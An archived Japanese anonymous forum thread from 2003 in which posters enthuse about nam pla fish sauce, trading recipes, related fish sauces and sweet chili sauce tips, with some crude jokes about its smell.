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ナンプラー!ナンプラー!ナンプラー!

1 :やめられない名無しさん:03/02/03 21:32
ナンプラー最高です。
青イソメのような生臭さ最高です。
ペンギン醤油注しに常備です。
今晩も白米おかず無しで何杯でもです。
ナンプラー!

2 :やめられない名無しさん:03/02/03 22:03
旨いけどちょっと万人受けは難しいな

3 :やめられない名無しさん:03/02/03 22:06
ベトコンの調味料だろ。
枯葉剤はいってそうだ。

4 :やめられない名無しさん:03/02/03 22:06
>>1
代表的な使い方教えれ 

5 :1:03/02/03 22:17
>>4
ドンブリメシに直かけでも美味いし、野菜炒めの味付けにもいけてるです。
醤油ベースの料理で味にメリハリがないときに1、2滴たらすといい風味付けができるです。

6 :やめられない名無しさん:03/02/03 22:18
>>5
なるほどねえ 俺はトムヤンクンがOKなので今度試してみるわ ハイ1人布教成功

7 :やめられない名無しさん:03/02/03 22:19
物凄くくさいドドまんこの匂いがする

8 :やめられない名無しさん:03/02/03 22:20
自作はできるのか?
それから
香菜との相性、そして矢張り香菜の自作(家庭栽培)は?

9 :やめられない名無しさん:03/02/03 22:24
ナンプラー(正式名称ナムプラー)とニョクマムってほとんど同じ味がする・・・

10 :やめられない名無しさん:03/02/03 22:27
>>9
タイで作ってるかベトナムで作ってるかだけの違いじゃねーの?
原料はヒコイワシと塩だけだっけか。

11 :hh:03/02/03 22:29
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12 :やめられない名無しさん:03/02/03 22:30
魚醤

13 :1:03/02/03 22:37
呼び方が違うだけで中身は一緒です。
ベトナムからはタイ向けにニョクマムの輸出もしているはず。
魚の身も内臓も発酵させるから自作が出来たとしてもかなり匂いがきついと思います。
ちなみに香草(パクチー、シャンツァイ、コリアンダー)はプランター栽培できるようです。

www.netlaputa.ne.jp/~sachiek/pakuch2.html

ちなみに香草は荒く刻んで鶏肉と生姜のナンプラー炒めに散らすと美味いです。

14 :やめられない名無しさん:03/02/03 23:04
ナンプラーはB級じゃねえ!イタチ飼いだゴルァ!!

でもチャーハン、焼きうどんの味付けには欠かせないねえ。

15 :やめられない名無しさん:03/02/03 23:13
東南アジア系の輸入食材店なんかで買うと無茶苦茶安かったりするよね。>ナンプラー
タイの屋台にあるように、タイ産の生の青唐辛子刻んで醤油瓶にナンプラーと一緒に
入れてます。

16 :やめられない名無しさん:03/02/03 23:14
ナンプラーで刺し身を食うとどうよ?

17 :14:03/02/03 23:18
>>15
代々木でやったタイフェスティバルで、めちゃくちゃ安く売ってたよ。
一瓶150円くらい。
とりあえず、どんな料理にもナンプラーとレモンの絞り汁をかければ
タイ料理チックになる(w

18 :やめられない名無しさん:03/02/03 23:23
魚醤の一種でしょ??ナンプラー

19 :やめられない名無しさん:03/02/04 00:02
>>18
一種っていうかそのもの。

豚肉炒める時にちょっとかけるとうまいな。
てゆーか炒め物には大概合うね。

20 :やめられない名無しさん:03/02/04 08:04
ナンプラー納豆。いけるよ。

21 :やめられない名無しさん:03/02/04 19:31
>20
そっか。初めて聞いた。
じゃあ今度、納豆+ナンプラー味のスパゲッティーを作ってみようかな。
実験。

22 :やめられない名無しさん:03/02/04 20:24
目玉焼きにナンプラー。フィリピン料理のアドボ
(鳥のぶつ切りに酢、ベイリーフ、ナンプラーで煮込む)
を作るときに使う。
カレーにナンプラー。
醤油がわりに使ってるよ。おいちい。
スパゲティーにも勿論合う。

23 :やめられない名無しさん:03/02/04 20:36
玉子にナンプラーに砂糖に塩胡椒。そして普通に玉子焼き。
これでもう立派なタイ料理。うまいからやってみれ。

24 :やめられない名無しさん:03/02/04 20:52
>>22
カレーにナンプラーはした事がある。んまいっ!

>>23
美味しそう。やってみる。


25 :やめられない名無しさん:03/02/04 20:53
玉子だと、多めの油で揚げる感じで目玉焼き作ってそこにナンプラーかけて食う。
タイの屋台の味。
ほんとはチャーハンが欲しいとこだが、なければ普通のご飯と一緒に食っても( ゚Д゚)ウマー

26 :やめられない名無しさん:03/02/04 21:07
今夜の肴は鮭のハラス焼きにナンプラー。
たまらん…無性にビアシンが飲みたいぞ。

27 :やめられない名無しさん:03/02/04 21:24
( ゚Д゚)アロォイ

28 :やめられない名無しさん:03/02/04 22:17
>>25
多めの油で揚げる感じの目玉焼きは両面焼きにするの?

私はチャーハンの仕上げにナンプラー+レモン汁で味付けします。
何にでもナンプラー+レモン汁でウマー!!

29 :やめられない名無しさん:03/02/04 22:28
>>1
青イソメにかけて食え

30 :やめられない名無しさん:03/02/04 22:46
>>29
青イソメはナンプラー和えよりもてんぷらが美味しいそうで。
ttp://www1.odn.ne.jp/setsuna/za_insect.html

31 :やめられない名無しさん:03/02/04 23:29
ナンプラー味のスパゲッティーのレシピきぼんぬ!

32 :やめられない名無しさん:03/02/04 23:32
匂いに慣れると癖になるよね
なんとなく懐かしい味

33 :やめられない名無しさん:03/02/04 23:41
>32
同意だけど何故だろうね?
タイやベトナムで育った訳ではないのに懐かしく感じるなんて、、、。

34 :やめられない名無しさん:03/02/04 23:52
日本人は南国へのあこがれがある。。。と南方熊楠も書いている。
と、適当に書いてみる。

35 :やめられない名無しさん:03/02/05 00:34
うちではナンプラーは結構必須調味料だったりする。
カレーとか炒め物には絶対入れるし、和風の煮物とかにもちょっと入れてみたりね。
熱加えると、あの臭いも気にならなくなるよね。

36 :やめられない名無しさん:03/02/05 00:54
ナンプラーの瓶に唐辛子を2,3本入れる。
辛くて(゚д゚)ウマー

37 :やめられない名無しさん:03/02/05 00:58
インド風のカレーにナンプラーは合わないように感じる。
あえて隠し味として用いるなら 醤油の方がいいかな。個人的に。

38 :やめられない名無しさん:03/02/05 01:05
焼き物、蒸しものにかけるとうまいんだよね。
サンマの塩焼きとかバンバンジーにナンプラーとレモンをかけたり・・・。

ちなみに、揚げ物にはなんでもスイートチリソース。
ピーナッツ入りのが売っていて、これも食卓に欠かせない。

39 :やめられない名無しさん:03/02/05 01:17
スイートチリソースもアロイねー。
渡タイの度にナンプラーとチリソースを買ってくるけど
チリソースはビン詰めで重いのが玉に傷。
まあ、ナンプラーみたいに破裂しないだけまだいいか。
うちのザック洗ってもマムコ臭いのが落ちない…

40 :やめられない名無しさん:03/02/05 01:37
能登産の魚醤「いしる」ならしょっちゅう使ってる。
これでナスとか白菜をクタクタになるまで煮込んだやつで飯が何杯でも喰える。
ダシとか取らなくても十分うまい。
イワシよりイカで造ったやつがクセが少なくてオススメっす。

41 :やめられない名無しさん:03/02/05 02:04
>>39
買ってみたいんだけど、
しょっつるよりいしるがおすすめですかね?

42 :やめられない名無しさん:03/02/05 05:18
>>37
インド風のカレーって何を指すのか分からないけど、
カレーにナンプラーとレモン汁を入れると
ベトナム風あるいはミャンマー風カレーになってウマー!!

43 :やめられない名無しさん:03/02/05 06:23
>>42
> カレーにナンプラーとレモン汁を入れると
> ベトナム風あるいはミャンマー風カレーになってウマー!!

ならねーよw

44 :やめられない名無しさん:03/02/05 13:18
市販に売ってる、タイカレーペーストにはナンプラー必須。

45 :やめられない名無しさん:03/02/05 14:19
ほんとに日本人にあうのか?
あの臭いがキツくて・・・

46 :やめられない名無しさん:03/02/05 17:57
>>40
鯖や鰺をいしるに漬けてから干物にする。
うんめー!

47 :やめられない名無しさん:03/02/05 18:20
あの臭みがなんともいえず
クセになるYO。

48 :やめられない名無しさん:03/02/05 19:36
>>45
日本人だろうが何人だろうが美味いと思う人には美味い。
おれもナンプラー常用者。

49 :やめられない名無しさん:03/02/05 20:09
>>31
少し味違うだろうけどイタリア(南?)にも魚醤は有るんだって聞いたことが有る。
パスタにも流用できるかもね。アンチョビパスタにかけたら美味しそう。

50 :やめられない名無しさん:03/02/05 20:16
ペペロンチーノにナンプラー。
個人的にだけど、カルボナーラにもどんからと
ナンプラーを少量加えるよ。

51 :やめられない名無しさん:03/02/05 21:15
>50
>カルボナーラにもどんからと

「どんから」って何?

52 :やめられない名無しさん:03/02/06 01:55
ローマ帝国では魚醤が調味料として使われていたが、後に廃れたとか。

53 :やめられない名無しさん:03/02/06 05:28
カレーうどん(インスタント)にもナンプラーかけて食う。
味が引き締まって美味しい。

54 :やめられない名無しさん:03/02/06 06:49
美味しんぼでは礼賛されてますた

55 :やめられない名無しさん:03/02/06 07:11
カップヌードル(醤油)にナンプラーと酢とチリペパー入れると、ベタなタイの味。

56 :やめられない名無しさん:03/02/06 08:50
>55
知ってる〜!私もそれやってる。
酢じゃなくてポッカ100レモンだけど。
焼きそば、焼きビーフン、焼きうどんにも
ナンプラーとポッカ100レモンと一味唐辛子!
シアワセ...☆

57 :50:03/02/06 12:14
>どんから
辛目に漬けてある大根とシソの実をこまかーク刻んだの。
色々な食品に使えて美味しいよ。

58 :51:03/02/06 23:51
>57
へー、初めて知った。
今度スーパーで探してみる。
ありがd。

59 :やめられない名無しさん:03/02/07 23:21
ポモドーロのトマトソースを作ったんだが、
なんだか一味足りなかったのでナンプラーを一回しかけたら…
んまっ!
トマトの酸味とナンプラーのコクが絶妙にあいまって四次元的な味の広がり!

60 :やめられない名無しさん:03/02/08 00:46
最近金ねーから豚肉野菜炒め喰ってるけど
ナンプラーでコクがでてうまー

61 :やめられない名無しさん:03/02/08 00:48
>>60
金ねーのなら、ご飯にナンプラーかけて食え。(w

でもたしかに慣れちゃうと野菜炒めにナンプラーは必須だよなー。

62 :やめられない名無しさん:03/02/08 02:12
金の無いやつが野菜炒めに肉なんか入れてんなよ

63 :やめられない名無しさん:03/02/08 09:41
ご飯にたらしただけでもウマイよ。
ナンプラー。

64 :やめられない名無しさん:03/02/08 09:48
>59
アンチョビ代わりだな。


65 :やめられない名無しさん:03/02/08 09:51
魚醤だし、アンチョビ代わりになっても
不思議じゃないね。

66 :やめられない名無しさん:03/02/08 15:35
豚肉くらい金無くても買えるっちゅーに!

67 :やめられない名無しさん:03/02/08 16:57
あ、やりましたね。。。。
確かに、、、、、確かに鞄の方にいれましたね。

レジを通る時豚肉は出してませんよね。。。。。

あ、店を出ました。追いかけます。

「ちょっと、すいません。鞄の中を見せてもらえないでしょうか?」



68 :やめられない名無しさん:03/02/08 17:09
万引きGメンのおばはんのつもりか?
あんなもんフジテレビのやらせだっちゅーのに

69 :やめられない名無しさん:03/02/08 17:27
日テレもやってたよ。

70 :やめられない名無しさん:03/02/08 20:21
結構、順調にレスが伸びてますね。
臭いには嫌われるものがあるのですが、味は、秀逸ですね。
いろんな料理に、ちょっといれると、おいしいです。

71 :やめられない名無しさん:03/02/08 23:43
臭いも慣れれば、香ばしい臭いに感じる。
行ったことないけど、東南アジアの香り。

72 :やめられない名無しさん:03/02/09 02:26
ナンプラーにもブランドってあるのか?

73 :やめられない名無しさん:03/02/09 03:31
漏れはあのニオイでアジアの喧騒を思い出す

74 :やめられない名無しさん:03/02/09 06:20
>>72
私はここのCのナンプラーを使ってる。
http://www.t-orient.co.jp/products02.htm



75 :やめられない名無しさん:03/02/09 09:22
>>74
俺も味露!

76 :やめられない名無しさん:03/02/09 13:23
随分容量多いなあ
使い切れるの?
漏れのはタバスコサイズだから60グラム(120円)だけど

77 :やめられない名無しさん:03/02/09 13:28
うちも味露。(ちなみに700ml)
半年で消費かなー。

78 :やめられない名無しさん:03/02/09 17:11
しかしチョト入れるだけで
あんなに美味くなるのは凄い!

79 :やめられない名無しさん:03/02/09 20:01
>>78
ナンプラー効果!
よーし、今日も豚肉&野菜買ったし喰うぞー

80 :やめられない名無しさん:03/02/09 23:10
さっき鍋やったんだけど、ナンプラーベースのタレを作ったらこれが馬鹿ウマ!
レシピはナンプラ、レモン果汁、醤油、豆板醤、ごま油、それぞれ目分量。
これで、鶏の水炊きバカスカ食ってたら、彼女が「こんな生臭いタレ嫌」だって。
ナンプラーと彼女、どちらを選ぶべきでしょうか?

ところで、マヨネーズ偏愛家はマヨラーだが、
ナンプラー偏愛家はナンプララーになるのか?それともナンプリスト?

81 :やめられない名無しさん:03/02/09 23:48
>>80
ナンプラー偏愛家=ナンプラーでいいじゃん。
わかりにくい?(w

んじゃ、タイ語っぽく、クン・ナンプラー

それにしてもそのタレうまそうだね。夏にそうめんのツユをそんな感じの作って食って
美味かったけど、やっぱり鍋のほうが向いてるかも。

82 :やめられない名無しさん:03/02/09 23:54
ベトナム人から教えてもらいました。
ナンプラー(ニュックマム)と砂糖で調味をする事が多いって。
エビでも、にんにくの細切れと一緒に炒めて、
ナンプラーと砂糖で味付け。
カナダに住んでいる時、その人が隣にすんでいたから、
結構ちょくちょく、食べ物を持ってきてくれました。
でもエビなんか、炒めたのが、たった2つ。。。
・・・う〜ん、これだけかーって思ったけれど、
食べたらウマ〜。
どうやって作るの?って聞くと、ナンプラーと砂糖ってよくいっていた。
タレはナンプラー、砂糖、レモン、すりおろしにんにく、。
このタレが絶品。
その辺の食料品売り場で売っている「もどき」の味とはぜんぜん違って
ウマ〜ウマ〜ウマ〜。

83 :80:03/02/09 23:55
偏愛家=ナンプラー↑ ってことね。
なるほど。
ナンプラー↓ と使い分けてみるか。

84 :やめられない名無しさん:03/02/10 00:03
ナンプリアン

85 :やめられない名無しさん:03/02/10 00:37
>>82
パッタイなんかも、結構砂糖使うよね。
まともなタイ料理店には、必ず卓上にナンプラー、砂糖、唐辛子、酢が置いてあるし。

86 :やめられない名無しさん:03/02/10 00:45
>>79
ドップラー効果かw

87 :やめられない名無しさん:03/02/10 02:37
ナンプラー+レモン汁+三温糖+唐辛子+ニンニクで何でも
タイ風、ベトナム風になって美味しいYO
http://homepage2.nifty.com/chai-cafe~1995/tai1.html
http://plaza.rakuten.co.jp/gomumariko/006005

88 :やめられない名無しさん:03/02/10 02:40
ナンプラーにはまるときってある でもある程度すると飽きちゃうんだよな・・・・一種の熱病みたいな感じ
さて、そろそろ熱病に感染した感じがする

89 :やめられない名無しさん:03/02/10 03:07
ああ・・、ナンプラーね。
俺も紙袋に数的垂らして使ってるよ(ハアハア・・

90 :やめられない名無しさん:03/02/10 04:24
>88
あー分かる、その感じ。
私も、ナンプラーしょっちゅう食べる→飽きる→全然食べない、
を繰り返してる。

91 :やめられない名無しさん:03/02/10 07:58
>>80
うちもナンプラーのつけダレ作って、鍋やるよ。
普通の水炊きも、ナンプラーにポン酢で味が深くなる。
鶏肉がとろとろになったところにナンプラーがあうんだよね。
彼女もナンプラー(ナンプラー愛好家)にすればいいじゃん。

92 :やめられない名無しさん:03/02/10 11:39
ポン酢にナンプラーどばどば入れてシュウマイ、餃子もウマー!!

93 :やめられない名無しさん:03/02/10 12:00
伊藤よう加藤で今買ってきた 260円とは高いなあ さっそく肉野菜炒めに使うわ
ナンプラーだけじゃ足りないかい? 

94 :やめられない名無しさん:03/02/10 12:15
前にタイで買ってきたナンプラーを確認したら家のも「味露」
ラベルに750という数字と23という数字が読めるのだが
750tで23バーツということかなぁ。
現場では100円しないとは驚きです。

95 :やめられない名無しさん:03/02/10 13:06
コロッケにナンプラーいいっすよ

96 :やめられない名無しさん:03/02/10 16:08
>>93
漏れは恥ずかしながら中華味とかの粉末も入れる

97 :やめられない名無しさん:03/02/10 16:10
あさりとにんにく、ナンプラー、お酒でさっと炒める
だけで美味。
あさりは火があまり通らない程度が美味しいよ。

98 :やめられない名無しさん:03/02/10 17:43
家族には不評w 数日はきっぱなしの靴下の匂いがするってw 上手いこというと感心しました


99 :やめられない名無しさん:03/02/10 19:20
確かに、嫌いな人は嫌い。
ドリアンみたいなものかな。食ったことないけど。

100 :やめられない名無しさん:03/02/10 19:22
100げとー

101 :やめられない名無しさん:03/02/10 20:03
ブラックバスとかの外来魚をいっぱい捕まえて塩につけたらナンプラーになるのですか?

そのまま日本にナンプラー文化が根付いて僕たちには一石五鳥ぐらい(゚д゚)ウマーと、アルコールに漬け込んだ頭で考えてみました。

102 :やめられない名無しさん:03/02/10 20:09
魚醤は日本古来の調味料だったりする

103 :やめられない名無しさん:03/02/10 20:10
>>102
東北のしょっつるね

104 :やめられない名無しさん:03/02/10 20:10
いしる、しょっつる

105 :やめられない名無しさん:03/02/10 20:14
俺には生臭すぎ。

106 :やめられない名無しさん:03/02/10 21:00
納豆と同じだって。慣れれば美味しい。

107 :やめられない名無しさん:03/02/10 21:06
漏れは豚肉は当然として桃屋のザーサイも入れるから
ナンプラーと塩で味を調えたらそれで十分だよ
あ、野菜炒めね

108 :やめられない名無しさん:03/02/10 21:14
炒め物にはナンプラー、塩、胡椒、酒が基本。
気分次第で砂糖、豆板醤、オイスターソース、酢、ごま油なんかを加える。

109 :やめられない名無しさん:03/02/10 21:31
バンコクで数カ月一人暮らししてた時、家で料理する時のメニューは
豚肉か鶏肉のナンプラー炒めと、ナンプラーで味付けした野菜スープと、ご飯ですた。
普段もやっぱりナンプラーだらけの屋台で飯食ってたんだけどさ。

おかげで日本に帰ってきてもナンプラーが手放せない体になりますた。

110 :やめられない名無しさん:03/02/10 21:47
>109
タイ料理漬けの日々…うらやますぃ!
タイには旅行でも行った事ないけど、タイ料理は好きです。
昔タイレストランで食べた「酸っぱくて辛くてナンプラー味の濃いチャーハン」
が忘れられない。
料理の名前は忘れたけど…炒めたというより揚げたようなチャーハンだった。

111 :やめられない名無しさん:03/02/10 21:55
>>110
カオパットじゃなさそうだね
そんなメニューあったっけ?

112 :110:03/02/10 22:30
>111
メニューにはないと思う。
友達が行きつけのタイレストランのタイ人従業員が、
「メニューには載ってない私達が食べる料理があるけど持ってこようか?」
と言って特別に出してくれた物。
クセが強すぎてビックリしたし、あれをメニューに載せたら苦情が出るかも。
従業員用のまかないか、タイ人客用の裏メニューなのでしょう。

113 :やめられない名無しさん:03/02/10 22:33
トムヤムのペースト使ったチャーハンなのかな。

114 :やめられない名無しさん:03/02/10 22:47
ナンプラーって
ハンズで売ってるよね。
チキンラーメンに大量に投入しますた。

115 :やめられない名無しさん:03/02/10 23:03
そうめんのつけだれにすると確かにおいしい。
ナンプラーとゴマ油とねり唐辛子(豆板醤とか)に
天かすとノリを散らす。
ナンプラーの味とゴマ油の香りと唐辛子の辛みと天かす・ゴマ油のコク、ノリの風味があわさって
非常にうまい。夏はずっとコレだった。

116 :やめられない名無しさん:03/02/10 23:42
>>101
バスナンプラー…たしかにウマーかも。
そしたら、バス回収箱自体を塩のカメにして、
「釣り上げたバスはここにお入れ下さい」ってな感じだろか(w

117 :やめられない名無しさん:03/02/10 23:55
沼臭いナンプラーか。

118 :やめられない名無しさん:03/02/11 00:25
>>115
うまそー。

119 :やめられない名無しさん:03/02/11 00:51
ねぎ微塵切りタプリのヤッコに醤油代わりにナンプラー♪


120 :やめられない名無しさん:03/02/11 09:47
豆腐の上にピータンとねぎのせて、ナンプラー♪

121 :やめられない名無しさん:03/02/11 10:00
ピータンはヤダヽ(´Д`;)ノ



122 :やめられない名無しさん:03/02/11 14:28
>>109 >>110 ←このあたりのタイ関係の方々。

タイ料理って、「えび味噌」使わない?

醤油もお魚から作るけど味噌みたいな調味料もお魚関係から作っていると聞いています。
それって、どんな感じで使うのですか?

123 :やめられない名無しさん:03/02/11 14:30
えびみそって、カピってやつだよね。あれをメインで使ったチャーハンが好きです。

124 :やめられない名無しさん:03/02/11 14:43
名前はカピですか。使い方は調味料ですね。


125 :やめられない名無しさん:03/02/11 18:34
>>122
カピはトムヤムクン作るのに必須調味料です。

126 :やめられない名無しさん:03/02/11 19:37
漏れも最近ナンプラー連チャン気味で飽きたわ(w
ってことで今日は焼肉にしますた

127 :やめられない名無しさん:03/02/11 19:39
旨いけど、確かに連チャンすると飽きるかもしれんね。
やはり日本人には醤油なんだなあ。

128 :やめられない名無しさん:03/02/11 19:54
>>127
いやー醤油だから飽きないとか、そういう問題じゃ無くて
5日連続夕飯のオカズ肉野菜だたからね(w

129 :やめられない名無しさん:03/02/11 19:58
>>128
それはナンプラーじゃなくても飽きる(w

130 :やめられない名無しさん:03/02/11 20:14
つーかそもそもそれ、ナンプラーに飽きてるんじゃないじゃんw

131 :128:03/02/11 20:25
そうなんだよ(w
ただナンプラーのおかげで、オカズのバリエーション増えたから
しばらく肉野菜やめて、ナンプラーに飽きる事だけは避けたいと思ってさ

132 :やめられない名無しさん:03/02/11 20:25
でも醤油の方が飽きない

133 :やめられない名無しさん :03/02/11 20:51
>>132
やっぱ日本人だからそうかも知れないね?
でもナンプラー飽きる前に、醤油並の習慣にまで親しめれば
同じように飽きにくくなる気もするんだけど・・・



134 :やめられない名無しさん:03/02/11 21:56
常食との相性の問題では

135 :やめられない名無しさん:03/02/11 23:21
age

136 :やめられない名無しさん:03/02/12 07:52
炒めた豚肉にナンプラーは異常に合う。
頭クラクラするほどウマー!

137 :やめられない名無しさん:03/02/12 09:57
今朝ふと思い立ってお味噌汁にナンプラーを入れてみましたが、
あまりにも馴染んでしまって、ウマーと言うよりフツーでした(藁

138 :やめられない名無しさん:03/02/12 12:47
エビミソのことだけど、トムヤンクンの素(キューブ)って
あるよね。あれで、トムヤンクン作って、ナンプラーたらすと幸せ。

139 :やめられない名無しさん:03/02/12 13:42
ナンプラーをつけこんだ鶏肉でから揚げにすると
ウマー。

140 :やめられない名無しさん:03/02/12 18:16
>>139
それにスイートチリソースをつけて食う。
シアワセー!

141 :やめられない名無しさん:03/02/12 18:20
おお、スイートチリソース。
ナンプラーとこれがあれば、なんでもタイ料理になるから重宝するね。

142 :やめられない名無しさん:03/02/12 18:34
から揚げにスイートチリソースは美味しいね。

143 :やめられない名無しさん:03/02/12 19:25
スイートチリソース美味しい。ナンプラーと相性抜群。
両方、常備してあります。

144 :140:03/02/12 19:41
おお、スイートチリソース好きも多いんだなあ。
タイ料理のランチバイキングに入ったら、スイートチリソースをかける
手羽先の唐揚げがあって、そればかり食ってたら骨の山ができて
恥ずかしかったことがあります。
ケンタのチキンにも、ナンプラー数滴とスイートチリソース。

145 :やめられない名無しさん:03/02/12 21:49
要はダシと醤油の一体型みたいなもんだから、お湯に適量入れて
煮立てるとそのままスープになる。見た目貧乏臭いと思ったら、
適当に豆腐とかなんかの葉っぱ入れればそれでよし。

146 :やめられない名無しさん:03/02/12 22:13
スイートチリソースってポリ容器売りしてないのかなぁ。
ビン詰めだと重いしかさばる…

147 :やめられない名無しさん:03/02/12 22:16
スイートチリソースはいいね
いつも魚肉ソーセージやら市販のカラアゲに付けて喰ってるよ

148 :140:03/02/12 22:19
>>146
材料を全部混ぜて煮詰めれば作れそうな気がするんだけど・・・。
どうなのかな?
うちは瓶で買ってもすぐなくなっちゃうから、業務用サイズが欲しいっす。



149 :やめられない名無しさん:03/02/12 22:21
スイートチリ、日本のスーパーでも売ってるぞ。

150 :140:03/02/12 22:24
>>149
近くのディスカウント店では、一瓶198円。
いつも買ってるので、顔覚えてられそう・・・。


151 :やめられない名無しさん:03/02/12 22:28
>>150
なんか日本語が変だった・・・。

> 顔覚えてられそう・・・。
顔覚えられてそう

だね。スマソ。

152 :やめられない名無しさん:03/02/12 22:44
>>151
マイペンライ

153 :140:03/02/12 22:57
>>152
コープクン


154 :やめられない名無しさん:03/02/12 23:04
ここのスレの住人がナンプラ好きになったのは…

@渡タイでにはまった     60%
Aタイメシ屋ではまった    25%
Bスーパーで買ってみて    10%
Cマムコの匂いに似てるから    5%

てな感じか?
ちなみに俺は@

155 :やめられない名無しさん:03/02/12 23:55
>>154
どういうマムコだよそれ

156 :やめられない名無しさん:03/02/13 00:14
>>154
D山岡士郎に影響されて

157 :やめられない名無しさん:03/02/13 00:47
スイートチリソース持ってない・・・
買いに逝ってきまーす。

158 :やめられない名無しさん:03/02/13 00:50
>>156
美味しんぼでは「ニョクマム」の名前でよく出てたよね。
あの頃はナンプラーの存在は、かなりマイナーだったなあ。

159 : :03/02/13 08:10
池袋の中国食料品店でナンプラ750ml200円買ってきたぜぃ。
さぁどう料理してやろうか。

160 :やめられない名無しさん:03/02/13 09:12
>159
おめ!

161 :やめられない名無しさん:03/02/13 09:48
スイートチリソースって唐揚げにつける以外に使い道はあるの?

162 :535:03/02/13 09:54
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163 :やめられない名無しさん:03/02/13 11:51
>>161
漏れはタイの屋台で売ってたイカがハマって
今でもイカはそれかけて焼いて食ってる

164 :やめられない名無しさん:03/02/13 13:10
たこのから揚げにかけてみ。美味しいよ。

165 :やめられない名無しさん:03/02/13 18:51
D

166 :やめられない名無しさん:03/02/13 18:52
>>161
生野菜でも卵焼きでも焼き魚でも、とにかく何でもOKだ。


167 :やめられない名無しさん:03/02/13 18:53
>>158
ニョクマムの名前でって、それは実際にニョクマムの話だったのではないかと

168 :やめられない名無しさん:03/02/13 18:55
>>161
生春巻きにつけると美味しいよ!!

169 :やめられない名無しさん:03/02/13 19:12
>>161
オムレツとか目玉焼きにもなかなか。

170 :やめられない名無しさん:03/02/13 19:16
>>161
塩味の焼き鳥にも合う。

171 :やめられない名無しさん:03/02/13 21:27
>>161
チャーハンにかけてもアロイ!

172 :161:03/02/14 00:07
みんな色々教えてくれてありがとう。
スイートチリスースって結構使い道あるんだね。
今日は買えなかったけど近い内に買ってみます。

173 :やめられない名無しさん:03/02/14 00:13
>>172
でも何かにかけて使うっていうドレッシング的な使い方だけなぁ。

エビチリ作る時に使えないかな?
ナンプラーとスィートチリソース使ってタイ風エビチリ。
パクチーも散らせばさらにそれっぽい。(w

174 :140:03/02/14 01:24
>>173
なんか甘〜いエビチリになっちゃいそうだけど、一旦揚げた海老にからめると
おいしいかもね。
でも料理に使うと、あっという間になくなっちゃいそうだなあ・・・。

175 :やめられない名無しさん:03/02/14 02:32
下のサイトには@ チリソースマイルドホット F チリソースミディアムホット があるけど、
こういうのはどうなの?ここのE スイートチリソース は誰か使ってる?
http://www.t-orient.co.jp/products02.htm

176 :やめられない名無しさん:03/02/14 18:21
ナンプラーのスレだったのに。。

177 :やめられない名無しさん:03/02/14 21:13
>>176
漏れもそう思たけど醤油のネタ切れるとソースだからねw

178 :やめられない名無しさん:03/02/16 11:28
ナンプラーを日本酒で割ってプリッキヌーと下ろし生姜で漬けダレを作ってみた。
タッパーに入れて鳥の胸肉を漬けこんでみたけど今晩どうやって食べようかな。

179 :やめられない名無しさん:03/02/16 11:40
調味料として使うと(゚д゚)マイウーだし、(・∀・)イイ!んだけど、
保存する時オイニーが気になる。

180 :やめられない名無しさん:03/02/16 12:08
このスレの1は、スパムのスレと同じか?

181 :やめられない名無しさん:03/02/16 14:19
今日はたんめんにナンプラーとらー油投入。
ウマー。

182 :やめられない名無しさん:03/02/16 14:22
>>178
唐揚げにしてスイートチリソース!
うまそうですね・・・

183 :やめられない名無しさん:03/02/16 14:28
>>181
(゚д゚)バーミーナムアロォイ

184 :やめられない名無しさん:03/02/16 14:36
うちにベトナムフォーのインスタント麺があるから
今度それにも投入予定。

185 :やめられない名無しさん:03/02/16 15:59
>>181
(゚д゚)クィティオナムアロォイ

186 :185:03/02/16 16:00
間違い。>>185でした。

187 :やめられない名無しさん:03/02/16 17:09
>>181
味濃くならねぇ??

188 :やめられない名無しさん:03/02/16 18:34
( ゚Д゚)アロォイマーク

189 :やめられない名無しさん:03/02/17 00:47
カタクチイワシ 塩 水 age

190 : :03/02/20 20:56
ベトナム料理屋でほうれん草をナンプラーとバターで炒めたやつを
食ったが美味かった。
ナンプラーの臭さとバターがマッチしてたな。

ところでナンプラーの匂いがするめに近いと思うのは俺だけかな。

191 :やめられない名無しさん:03/02/21 19:27
つまりイカ臭いと。

192 :やめられない名無しさん:03/02/22 18:42
スイートチリソースがぅまいというので、ちょいと遠出して買ってみた。

どろどろ。

はむ。

…死ヌかと思った。

193 :やめられない名無しさん:03/02/22 19:25
>>192
まずかったのか・・・?

194 :やめられない名無しさん:03/02/24 19:14
飯だけでネギも使わずにナンプラーだけで味付けしたチャーハン
見た目は怪しく貧乏臭いが妙に旨い。

ま、実際はネギくらい入れて、魚とか肉の脂を使わずに焼くか
蒸すかした料理とあわせると最強。

195 :やめられない名無しさん:03/03/02 00:07
タッパーでナンプラーを自作してみてたり。
まだ、寝かせて1ヶ月目だけど。

196 :やめられない名無しさん:03/03/02 00:20
腐って鼻をつまみながら捨てる羽目になるのが、関の山だと思われ

197 :やめられない名無しさん:03/03/02 00:33
腐ったら腐ったで家の前の常連迷惑駐車にぶちまけるからまあいいや。

198 : :03/03/02 01:08
タッパーだと密閉だからどうなのかなー?
どっかにナンプラー作る過程をとった番組のビデオがあったはずだけど、どこだったっけ?

199 :やめられない名無しさん:03/03/02 14:24
生ラーメンを茹でる、ゴマ油たらす、ナンプラーたらす、しょうゆたらす。

これで立派な美味しい油そばになるよ。

200 :やめられない名無しさん:03/03/02 16:43
絨毯にスイートチリソースをこぼした・・・。
匂いがとれねえよー・゚・(ノД`)・゚・

201 : :03/03/02 21:41
スーパーやコンビニのしょぼいチャーハンやペペロンチーノも
ナンプラーひとかけで大変身。

202 :やめられない名無しさん:03/03/03 13:17
スパゲティーにはナンプラー。味が深くなる。

203 :やめられない名無しさん:03/03/03 15:59
ナンプラーって醤油に比べて塩分濃い?
目玉にかけて食うんだけどほんのちょびっとかけるのが(゚д゚)ウマー
あまりかけると(>_<)シオカライ気がする。
以前は醤油かけてたけど、もっとたくさんかけてた。

204 :やめられない名無しさん:03/03/03 20:34
今日、水餃子にナンプラーを垂らして食べたけど旨かった。

205 : :03/03/04 02:15
>>203
確かに塩分も強いんじゃないかとは思うが、あれと一緒じゃないか?
昆布だけでとったダシをそのまま飲んでもちょと物足りないけど、
かつぶし目一杯使ったダシは何となくそのまま飲んでもイケるじゃん?
植物由来と動物由来の違いが出てるんじゃないか?

206 :やめられない名無しさん:03/03/05 01:50
>>205
ナンプラーはしょっつるなんかと同じで、塩分は20%前後。(醤油は15%前後)

サカナを原料にした「しょうゆ」はすべからくしょっぱい。
そうしないと製造途中に腐ってしまうからなんだけどさ。

魚エキスを原料にしたものは醤油並だったりするのもあると思う。

207 :山崎渉:03/03/13 12:57
(^^)

208 :やめられない名無しさん:03/03/17 23:53
桃屋のザーサイ入れて肉野菜炒めしたら
ちょい塩辛かったわ

